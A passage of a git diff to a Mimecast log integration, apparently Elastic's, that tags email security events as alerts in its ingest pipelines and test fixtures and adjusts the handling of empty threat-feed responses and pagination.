"{\"MsgId\":\"\",\"Recipient\":\"recipient@adomain.tld\",\"Route\":\"Inbound\",\"Sender\":\"sender@domain.tld\",\"SenderDomain\":\"bdomain.tld\",\"SourceIP\":\"0.0.0.0\",\"Subject\":\"Opportunity to become VP\",\"aCode\":\"azYwczFKNga_v1sYBuJOvA\",\"acc\":\"C0A0\",\"datetime\":\"2021-03-05T18:18:39+0000\",\"headerFrom\":\"sender@adomain\"}", "outcome": "unknown" }, @@ -370,6 +373,7 @@ "email" ], "created": "2021-03-04T21:31:08+0000", + "kind": "alert", "original": "{\"MsgId\":\"\",\"Recipient\":\"recipient@domain.tld\",\"Route\":\"Internal\",\"ScanResultInfo\":\"Blocked URL Category\",\"Sender\":\"sender@domain.tld\",\"Subject\":\"Coffee Briefing\",\"URL\":\"https://domain.com/login/\",\"UrlCategory\":\"Phishing & Fraud\",\"aCode\":\"vit87EEXMPaEyl22Lrb92A\",\"acc\":\"C46A75\",\"datetime\":\"2021-03-04T21:31:08+0000\"}", "outcome": "unknown" }, @@ -414,6 +418,7 @@ "email" ], "created": "2020-07-27T00:39:59+0100", + "kind": "alert", "original": "{\"Action\":\"Hold\",\"CustomName\":\"false\",\"CustomThreatDictionary\":\"false\",\"Definition\":\"Default Impersonation Definition\",\"Hits\":\"1\",\"IP\":\"0.0.0.0\",\"InternalName\":\"true\",\"MsgId\":\"\",\"NewDomain\":\"false\",\"Recipient\":\"recipient@domain\",\"ReplyMismatch\":\"false\",\"Route\":\"Inbound\",\"Sender\":\"sender@domain\",\"SimilarCustomExternalDomain\":\"false\",\"SimilarInternalDomain\":\"false\",\"SimilarMimecastExternalDomain\":\"false\",\"Subject\":\"Opportunity to become VP\",\"TaggedExternal\":\"false\",\"TaggedMalicious\":\"true\",\"ThreatDictionary\":\"false\",\"aCode\":\"q4qBpkoTOt-iStR7G44w3g\",\"acc\":\"C0A0\",\"datetime\":\"2020-07-27T00:39:59+0100\"}", "outcome": "unknown" }, @@ -535,6 +540,7 @@ "email" ], "created": "2017-05-23T21:45:21+0100", + "kind": "alert", "original": "{\"IP\":\"81.2.69.144\",\"Recipient\":\"auser@mimecast.com\",\"Route\":\"Inbound\",\"Sender\":\"from@domain.com\",\"SenderDomain\":\"domain.com\",\"Size\":378368,\"acc\":\"C1A1\",\"datetime\":\"2017-05-23T21:45:21+0100\",\"fileExt\":\"doc\",\"fileMime\":\"application/vnd.ms-office\",\"fileName\":\"1XCOLUMN.PVC\",\"md5\":\"7b52770644da336a9a59141c80807f37\",\"sha1\":\"a27850da9e7adfc8e1a94dabf2509fc9d65ee7e2\",\"sha256\":\"8746bb4b31ab6f03eb0a3b2c62ab7497658f0f85c8e7e82f042f9af0bb876d83\"}", "outcome": "unknown" }, @@ -565,4 +571,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json index 47cc9fbfaa2..0ca5b57616e 100644 --- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json +++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v1-logs.log-expected.json @@ -26,6 +26,7 @@ "email" ], "created": "2021-10-18T09:02:43+0100", + "kind": "alert", "original": "{\"Act\":\"Hld\",\"AttCnt\":0,\"AttNames\":null,\"AttSize\":0,\"Content-Disposition\":\"attachment; filename=\\\"process_20211018093329655.json\\\"\",\"Hld\":\"Spm\",\"MsgId\":\"\\u003cINX.164dae0719be95da77068c7d264.3e915.e7719.c78c.17c926a3231ace@newsletter.77onlineshop.eu\\u003e\",\"MsgSize\":157436,\"Sender\":\"bounce_9244+cdaahhimyaaaaagaad5ekqaaaaaaaaeribenpq@newsletter.77onlineshop.eu\",\"Subject\":\"Hi Sandra! Neue Styles eingetroffen! – Finde deinen Lieblings-Look!\",\"aCode\":\"HhuwRf_AOcuJZINE2ZgcKw\",\"acc\":\"ABC123\",\"datetime\":\"2021-10-18T09:02:43+0100\"}", "outcome": "unknown", "reason": "Spm" @@ -73,6 +74,7 @@ "email" ], "created": "2021-10-19T07:06:40+0100", + "kind": "alert", "original": "{\"acc\":\"ABC123\",\"Delivered\":false,\"IP\":\"67.43.156.15\",\"RejType\":\"Recipient email address is possibly incorrect\",\"RejCode\":\"550\",\"AttCnt\":0,\"Dir\":\"Inbound\",\"ReceiptAck\":null,\"MsgId\":null,\"Subject\":null,\"Latency\":505,\"Sender\":\"<>\",\"datetime\":\"2021-10-19T07:06:40+0100\",\"Rcpt\":\"johndoe@example.com\",\"AttSize\":0,\"Attempt\":1,\"RejInfo\":\"5.4.1 Recipient address rejected: Access denied. AS(201806281) [LO2GBR01FT037.eop-gbr01.prod.protection.outlook.com]\",\"TlsVer\":\"TLSv1.2\",\"Cphr\":\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"Snt\":125,\"aCode\":\"29be076e-44cd-354d-a7c2-083d4a312371\",\"UseTls\":\"Yes\",\"Route\":\"Office365\",\"Content-Disposition\":\"attachment; filename=\\\"delivery_20211018093329655.json\\\"\"}", "outcome": "failure", "reason": "5.4.1 Recipient address rejected: Access denied. AS(201806281) [LO2GBR01FT037.eop-gbr01.prod.protection.outlook.com]" @@ -248,6 +250,7 @@ "email" ], "created": "2021-10-19T07:04:56+0100", + "kind": "alert", "original": "{\"acc\":\"ABC123\",\"Delivered\":false,\"IP\":\"67.43.156.15\",\"RejType\":\"Recipient email address is possibly incorrect\",\"RejCode\":\"550\",\"AttCnt\":0,\"Dir\":\"Internal\",\"ReceiptAck\":null,\"MsgId\":\"<137188507-1634623494888@uk-mta-151.uk.mimecast.lan>\",\"Subject\":\"You have new held messages\",\"Latency\":1534,\"Sender\":\"johndoe@example.com\",\"datetime\":\"2021-10-19T07:04:56+0100\",\"Rcpt\":\"johndoejr@example.com\",\"AttSize\":0,\"Attempt\":1,\"RejInfo\":\"5.4.1 Recipient address rejected: Access denied. AS(201806281) [CWLGBR01FT010.eop-gbr01.prod.protection.outlook.com]\",\"TlsVer\":\"TLSv1.2\",\"Cphr\":\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\"Snt\":147,\"aCode\":\"61dfe7da-4c6d-34e1-9667-69b04f0d564f\",\"UseTls\":\"Yes\",\"Route\":\"Office365\",\"Content-Disposition\":\"attachment; filename=\\\"delivery_20211018093329655.json\\\"\"}", "outcome": "failure", "reason": "5.4.1 Recipient address rejected: Access denied. AS(201806281) [CWLGBR01FT010.eop-gbr01.prod.protection.outlook.com]" @@ -508,4 +511,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json index b136699e534..e58164c12fa 100644 --- a/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json +++ b/packages/mimecast/data_stream/siem_logs/_dev/test/pipeline/test-siem-v2-logs.log-expected.json @@ -25,6 +25,7 @@ "email" ], "created": "2024-11-13T11:57:39.314Z", + "kind": "alert", "original": "{\"_offset\":71203,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"ycS8ZuP_MPunTsp6ErzBSA_1731499054\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"WGY_DvwBSSkQgHEEGRzoLfwigWn9mwWIGqiLvVrPqKc_1731499054\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731499059314,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -70,6 +71,7 @@ "email" ], "created": "2024-11-14T22:04:26.023Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"aZDCqoMHYF9FcjJQ869Lbra7mJvvQIa-VaegH2O8C0g_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866023,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -115,6 +117,7 @@ "email" ], "created": "2024-11-15T21:19:20.321Z", + "kind": "alert", "original": "{\"_offset\":73861,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"k3KcYRO6P7qYd0rHc1QFNw_1731705555\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"WwGkv-47IJizhgFwoSrDx4e3e72fFIFdyKh3xcIJaik_1731705555\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731705560321,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -160,6 +163,7 @@ "email" ], "created": "2024-11-14T22:04:26.000Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"b3vNsa7MZl72FJW_mbEr0ZX-iohNRCrOQ-BimNV1q9Q_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866000,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -205,6 +209,7 @@ "email" ], "created": "2024-11-14T22:04:26.024Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"mLgUT0pGSr_N7iwZQw_rR_JZltfI6rd_ntlmS6_ERBo_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866024,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -250,6 +255,7 @@ "email" ], "created": "2024-11-14T22:04:26.000Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"6czskzJMohlaUKVhot_uqpWCnSxbrpxHOmIbcab2cz8_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866000,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -295,6 +301,7 @@ "email" ], "created": "2024-11-14T22:04:26.002Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"MyaowWrjsmqCAoLpEyL5HV1AZ8jx5ktpfR1F-y8u49k_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866002,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -340,6 +347,7 @@ "email" ], "created": "2024-11-14T22:04:26.010Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"A1JuZjnL7y-1hP0ArmGTNUqqex9NU62N18z_QlPirAY_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866010,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -385,6 +393,7 @@ "email" ], "created": "2024-11-14T22:04:26.018Z", + "kind": "alert", "original": "{\"_offset\":72919,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"pZrAa9HUN-WmL2AK6cWduw_1731621818\",\"fileExtension\":\"zip\",\"fileName\":\"WinZip Attachments.zip\",\"md5\":\"baab79394970762f6ccefff87e0884ac\",\"processingId\":\"G0_0M5x6QhE_UvSS0Wv0HzUDdWlgNBONhtSHHsrKznA_1731621818\",\"sha1\":\"08a3037782976df0defbc4f0650d647b8696e18c\",\"sha256\":\"2184a906a8f705269be0ed65b25c0ecde9cd3bbe0bdadbe1e86492a7ce073c32\",\"subtype\":null,\"timestamp\":1731621866018,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -430,6 +439,7 @@ "email" ], "created": "2024-11-13T12:28:01.660Z", + "kind": "alert", "original": "{\"_offset\":71219,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"aggregateId\":\"auzof_uINcO0Z8DvryMngw_1731500878\",\"fileExtension\":\"pdf\",\"fileName\":\"zero-day.pdf\",\"md5\":\"66f03bf072a74bb19db16c952ba3dc47\",\"processingId\":\"0fD129nTUvY0qRAuLALbD7HpiV_4kWYEvyJjldHOOaU_1731500878\",\"sha1\":\"ce87cd86f9d9d3ed4c1138530ef259ce83638593\",\"sha256\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"subtype\":null,\"timestamp\":1731500881660,\"type\":\"attachment protect\"}", "outcome": "unknown" }, @@ -2229,6 +2239,7 @@ "email" ], "created": "2024-11-12T23:36:45.992Z", + "kind": "alert", "original": "{\"_offset\":70936,\"_partition\":60,\"accountId\":\"CUSB4A274\",\"action\":\"Rej\",\"aggregateId\":\"lf7BP8oVOue0keIDXck0Ww_1731454604\",\"direction\":\"Inbound\",\"messageId\":null,\"numberAttachments\":\"0\",\"processingId\":\"Ycqry21vB3utdjgPfIFYpj9wQK6HMNkmX_1vFlph1UM_1731454604\",\"recipients\":\"truorange@demo-int.elastic.mime-api.com\",\"rejectionCode\":\"550\",\"rejectionInfo\":\"Envelope blocked - User Entry\",\"rejectionType\":\"Manual Envelope Rejection\",\"senderEnvelope\":\"truorange@creative-omega.b41.one\",\"senderHeader\":null,\"senderIp\":\"81.2.69.144\",\"spamDetectionLevel\":null,\"spamInfo\":null,\"spamProcessingDetail\":\"{\\\"spf\\\":{\\\"allow\\\":true,\\\"info\\\":\\\"ALLOW\\\"}}\",\"spamScore\":null,\"subject\":null,\"subtype\":\"Rej\",\"timestamp\":1731454605992,\"tlsCipher\":\"TLS_AES_256_GCM_SHA384\",\"tlsVersion\":\"TLSv1.3\",\"type\":\"receipt\",\"virusFound\":null}", "outcome": "unknown", "reason": "Envelope blocked - User Entry" @@ -3482,4 +3493,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml index 070f9e9f6fa..53f1799e7a3 100644 --- a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml +++ b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v1_pipeline.yml @@ -239,6 +239,10 @@ processors: field: mimecast.RejInfo target_field: event.reason ignore_missing: true + - set: + field: event.kind + value: alert + if: ctx.mimecast?.RejType != null && ctx.mimecast.RejType != '' - rename: field: mimecast.RejType target_field: error.type @@ -266,6 +270,10 @@ processors: field: mimecast.AttNames target_field: email.attachments.file.name ignore_missing: true + - set: + field: event.kind + value: alert + if: ctx.mimecast?.Hld != null && ctx.mimecast.Hld != '' - rename: field: mimecast.Hld target_field: event.reason @@ -290,6 +298,10 @@ processors: if: 'ctx.tls?.established instanceof String && ctx.tls.established.toLowerCase() == "no"' ### AV LOGS + - set: + field: event.kind + value: alert + if: ctx.mimecast?.fileExt != null && ctx.mimecast.fileExt != '' - rename: field: mimecast.fileExt target_field: email.attachments.file.extension @@ -329,18 +341,30 @@ processors: ignore_missing: true ### SPAM EVENT THREAD LOGS + - set: + field: event.kind + value: alert + if: ctx.mimecast?.SourceIP != null && ctx.mimecast.SourceIP != '' - rename: field: mimecast.SourceIP target_field: source.ip ignore_missing: true ### SIEM Email Protect Logs + - set: + field: event.kind + value: alert + if: ctx.mimecast?.URL != null && ctx.mimecast.URL != '' - rename: field: mimecast.URL target_field: url.full ignore_missing: true ### SIEM Impersonation logs + - set: + field: event.kind + value: alert + if: ctx.mimecast?.TaggedMalicious == true || ctx.mimecast?.TaggedMalicious == 'true' - rename: field: mimecast.Action target_field: event.action diff --git a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml index 269d731a9ce..d053c47147a 100644 --- a/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml +++ b/packages/mimecast/data_stream/siem_logs/elasticsearch/ingest_pipeline/v2_pipeline.yml @@ -105,6 +105,10 @@ processors: field: mimecast.rejectionInfo target_field: event.reason ignore_missing: true + - set: + field: event.kind + value: alert + if: ctx.mimecast?.rejectionType != null && ctx.mimecast.rejectionType != '' - rename: field: mimecast.rejectionType target_field: error.type @@ -140,6 +144,10 @@ processors: field: mimecast.attachments target_field: email.attachments.file.name ignore_missing: true + - set: + field: event.kind + value: alert + if: ctx.mimecast?.Hld != null && ctx.mimecast.Hld != '' - rename: field: mimecast.holdReason target_field: event.reason @@ -168,6 +176,10 @@ processors: if: ctx.tls?.established instanceof String && ctx.tls.established.equalsIgnoreCase('no') ### AV LOGS + - set: + field: event.kind + value: alert + if: ctx.mimecast?.fileExtension != null && ctx.mimecast.fileExtension != '' - rename: field: mimecast.fileExtension target_field: email.attachments.file.extension @@ -194,18 +206,30 @@ processors: ignore_missing: true ### SPAM EVENT THREAD LOGS + - set: + field: event.kind + value: alert + if: ctx.mimecast?.senderIp != null && ctx.mimecast.senderIp != '' - rename: field: mimecast.senderIp target_field: source.ip ignore_missing: true ### SIEM Email Protect Logs + - set: + field: event.kind + value: alert + if: ctx.mimecast?.url != null && ctx.mimecast.url != '' - rename: field: mimecast.url target_field: url.full ignore_missing: true ### SIEM Impersonation logs + - set: + field: event.kind + value: alert + if: ctx.mimecast?.taggedMalicious == true || ctx.mimecast?.taggedMalicious == 'true' - rename: field: mimecast.action target_field: event.action diff --git a/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs index c0b6b572723..b65f136681d 100644 --- a/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/threat_intel_malware_customer/agent/stream/cel.yml.hbs @@ -107,9 +107,23 @@ program: | }, "want_more": resp.?Header["X-Mc-Threat-Feed-Next-Token"].hasValue(), } + : (body.?fail[0].errors[0].code.orValue("") == "err_threat_intel_feed_no_result_found") ? + // Mimecast threat events return fail message + // containing 'err_threat_intel_feed_no_result_found' + // when no events within the query time window. + // Handle this by saving empty events array but + // do not report an error. + { + "events": [], + // Override cursor to remove cursor.token if present. + "cursor": { + "last": state.?cursor.last, + }, + "want_more": false, + } : - // Mimecast can return failure states with a 200. This - // is detected by a non-empty fail array at the root + // Mimecast can also return other failure states with a 200. + // This is detected by a non-empty fail array at the root // of the response body. Don't attempt to parse this // out, just dump the whole body into the error message. { diff --git a/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs index 7c139c92dc4..dff9285015a 100644 --- a/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/threat_intel_malware_grid/agent/stream/cel.yml.hbs @@ -107,9 +107,23 @@ program: | }, "want_more": resp.?Header["X-Mc-Threat-Feed-Next-Token"].hasValue(), } + : (body.?fail[0].errors[0].code.orValue("") == "err_threat_intel_feed_no_result_found") ? + // Mimecast threat events return fail message + // containing 'err_threat_intel_feed_no_result_found' + // when no events within the query time window. + // Handle this by saving empty events array but + // do not report an error. + { + "events": [], + // Override cursor to remove cursor.token if present. + "cursor": { + "last": state.?cursor.last, + }, + "want_more": false, + } : - // Mimecast can return failure states with a 200. This - // is detected by a non-empty fail array at the root + // Mimecast can also return other failure states with a 200. + // This is detected by a non-empty fail array at the root // of the response body. Don't attempt to parse this // out, just dump the whole body into the error message. { diff --git a/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json b/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json index 6ed5a692071..7b0b9e01d53 100644 --- a/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json +++ b/packages/mimecast/data_stream/ttp_ap_logs/_dev/test/pipeline/test-ttp-ap-logs.log-expected.json @@ -361,6 +361,7 @@ "email" ], "created": "2024-11-17T00:52:30+0000", + "kind": "alert", "original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-17T00:52:30+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"Malicious \\r\\nTime taken: 0 hrs, 0 min, 1 sec\",\"fileHash\":\"168dde02cf41aed3bf31ad831b75d8ee0b738304baa6957c40e29b2487f15116\",\"fileName\":\"Sandbox Test.xlsx\",\"fileType\":\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\"messageId\":\"\\u003c675ddc8ccedda6a7-363046@hapi.b41.one\\u003e\",\"recipientAddress\":\"charles.weldon@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"eric.boyt@demo-int.elastic.mime-api.com\",\"subject\":\"RE\"}" }, "mimecast": { @@ -415,6 +416,7 @@ "email" ], "created": "2024-11-17T00:52:30+0000", + "kind": "alert", "original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-17T00:52:30+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"Malicious \\r\\nTime taken: 0 hrs, 0 min, 1 sec\",\"fileHash\":\"168dde02cf41aed3bf31ad831b75d8ee0b738304baa6957c40e29b2487f15116\",\"fileName\":\"Sandbox Test.xlsx\",\"fileType\":\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\",\"messageId\":\"\\u003c675ddc8ccedda6a7-363046@hapi.b41.one\\u003e\",\"recipientAddress\":\"nathan.creech@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"eric.boyt@demo-int.elastic.mime-api.com\",\"subject\":\"RE\"}" }, "mimecast": { @@ -469,6 +471,7 @@ "email" ], "created": "2024-11-16T18:37:47+0000", + "kind": "alert", "original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"cindy.olson@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}" }, "mimecast": { @@ -523,6 +526,7 @@ "email" ], "created": "2024-11-16T18:37:47+0000", + "kind": "alert", "original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"jennifer.milligan@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}" }, "mimecast": { @@ -577,6 +581,7 @@ "email" ], "created": "2024-11-16T18:37:47+0000", + "kind": "alert", "original": "{\"actionTriggered\":\"none\",\"date\":\"2024-11-16T18:37:47+0000\",\"definition\":\"Default Internal Attachment Protect Definition\",\"details\":\"[MALICIOUS_ACTIVITY: Exploit: Attempting to exploit CVE-2010-1240\\r\\nTime taken: 0 hrs, 0 min, 1 sec]\",\"fileHash\":\"22a65c438289353d96c707cf55e26be723e3157f0aa00734843a9bdc8f98bab0\",\"fileName\":\"zero-day.pdf\",\"fileType\":\"application/pdf\",\"messageId\":\"\\u003c52b1654770446898-195170@hapi.b41.one\\u003e\",\"recipientAddress\":\"misha.siegel@demo-int.elastic.mime-api.com\",\"result\":\"malicious\",\"route\":\"internal\",\"senderAddress\":\"hardie.davis@demo-int.elastic.mime-api.com\",\"subject\":\"FW\"}" }, "mimecast": { @@ -596,4 +601,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs index 512ffdb953a..adbdca1808e 100644 --- a/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/ttp_ap_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root diff --git a/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml b/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml index 60978d0f3f2..c6cc060ecb2 100644 --- a/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml +++ b/packages/mimecast/data_stream/ttp_ap_logs/elasticsearch/ingest_pipeline/default.yml @@ -25,6 +25,10 @@ processors: - set: field: event.category value: [email] + - set: + field: event.kind + value: alert + if: ctx.mimecast?.result == 'malicious' - date: description: Use 'mimecast.date' as the '@timestamp' diff --git a/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json b/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json index 407d0e53d2a..79d1f231193 100644 --- a/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json +++ b/packages/mimecast/data_stream/ttp_ip_logs/_dev/test/pipeline/test-ttp-ip-logs.log-expected.json @@ -26,6 +26,7 @@ ], "created": "2021-10-15T17:10:46+0000", "id": "MTOKEN:eNqrVkouLS7Jz00tSs5PSVWyUnI2MXM0N1XSUcpMUbIyMjU1NjIw1FEqSy0qzszPU7ICskvywAoNDAyVagFirRIG", + "kind": "alert", "original": 